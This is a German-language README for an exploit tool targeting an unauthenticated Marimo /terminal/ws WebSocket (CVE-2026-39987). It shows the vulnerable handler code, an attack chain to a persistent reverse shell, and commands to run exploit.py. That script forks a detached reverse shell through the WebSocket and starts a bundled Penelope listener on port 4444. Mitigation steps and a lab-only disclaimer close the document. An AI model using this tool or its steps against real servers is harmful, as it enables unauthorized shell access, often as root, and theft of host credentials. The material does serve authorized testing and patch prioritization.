CVE-2026-39987 — Marimo Pre-Auth RCE (/terminal/ws)

CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Nicht authentifizierte Remote Code Execution in Marimo, einem reaktiven Python-Notebook-Server.
Eine einzelne unauthentifizierte WebSocket-Verbindung zu /terminal/ws liefert eine vollständige interaktive PTY-Shell als der Benutzer, der den Marimo-Prozess ausführt (häufig root in Docker).

Nur für Labore / autorisierte Tests (HTB, CTF, Aufträge mit schriftlich festgelegtem Umfang).

Inhaltsverzeichnis

• Zusammenfassung der Schwachstelle
• Grundursache
• Angriffskette
• Betroffene Versionen
• Dieses Repository
• Installation
• Verwendung
• Penelope-Integration
• Gegenmaßnahmen
• Referenzen

Zusammenfassung der Schwachstelle

Marimo stellt ein integriertes Terminal über WebSocket bereit unter:

ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Andere WebSocket-Routen (insbesondere /ws für die Notebook-UI) rufen korrekt validate_auth() auf.
/terminal/ws tut das nicht. Es prüft nur:

1. Der Server befindet sich im Edit-Modus
2. Die Plattform unterstützt ein PTY

und dann sofort:

await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

Es ist kein Cookie, Token, Passwort oder Authorization-Header erforderlich — selbst wenn die Authentifizierung auf der Instanz aktiviert ist.

Auswirkungen: nicht authentifizierte, beliebige Befehlsausführung mit den Rechten des Marimo-Prozesses. In Standard-Container-Images ist das häufig root.

Grundursache

Datei (verwundbarer Quellcodebaum): marimo/_server/api/endpoints/terminal.py

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Vergleiche mit dem Notebook-WebSocket (ws_endpoint.py), das die Authentifizierung erzwingt:

validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Angriffskette

 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|

1. Verbinde dich ohne Anmeldedaten mit ws(s)://target/terminal/ws
2. Der Server akzeptiert und startet eine PTY-gestützte Shell
3. Sende Tastatureingaben (Befehle) über das WebSocket
4. Optional eine abgekoppelte Reverse-Shell starten, die das Schließen der WebSocket-Verbindung überlebt

Betroffene Versionen

Jede Bereitstellung, die das Terminal-WebSocket (Edit-Modus, PTY unterstützt) ohne externes Auth-Gateway exponiert, ist betroffen.

Dieses Repository

Installation

git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py benötigt keine zusätzlichen Abhängigkeiten (Python-3.6+-Standardbibliothek).

Verwendung

1. Einmalige Befehlsausführung

python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

Was passiert:

1. Ein geforktes Kind wartet kurz und liefert dann eine abgekoppelte Reverse-Shell über /terminal/ws
2. Der Elternprozess führt per exec Penelope auf 0.0.0.0:4444 aus
3. Wenn der Callback eintrifft, verbindet sich Penelope automatisch und führt ein Session-Upgrade durch

Falls nötig

python3 exploit.py -h

Penelope-Integration

Penelope wird als eigenständiges Skript (penelope.py) mitgeliefert:

• keine Installation, nur Standardbibliothek
• Multi-Session-Handler
• automatisches TTY-Upgrade
• Datei-Upload/-Download, Logging usw.

Standardablauf (-p):

exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

Das Kind wird absichtlich verwendet: os.execv(penelope) ersetzt das Prozessabbild des Elternprozesses, was einen Hintergrund-Thread töten würde.

Manuelles Penelope:

python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Gegenmaßnahmen

1. Upgrade auf Marimo >= 0.23.0 (pip install -U marimo)
2. Setze Edit-Modus-Notebook-Server nicht dem öffentlichen Internet aus
3. Setze authn/authz an einem Reverse-Proxy um, wenn die Anwendung remote erreichbar sein muss
4. Binde an localhost / privates Netz; nutze VPN oder SSH-Tunnel
5. Nach vermuteter Ausnutzung: rotiere die vom Host aus erreichbaren Anmeldedaten (Cloud-Keys, .env, SSH-Schlüssel), prüfe ausgehende Verbindungen und Persistenz

Referenzen

• NVD — CVE-2026-39987
• GHSA-2679-6mx9-h9xc
• Marimo Fix PR #9098
• Resecurity-Analyse
• Penelope-Shell-Handler

Haftungsausschluss

Dieses Projekt dient ausschließlich autorisierten Sicherheitstests, der Ausbildung und defensiver Forschung.
Du bist dafür verantwortlich, geltende Gesetze sowie die Einsatzregeln (Rules of Engagement) deines Labors oder Kunden einzuhalten.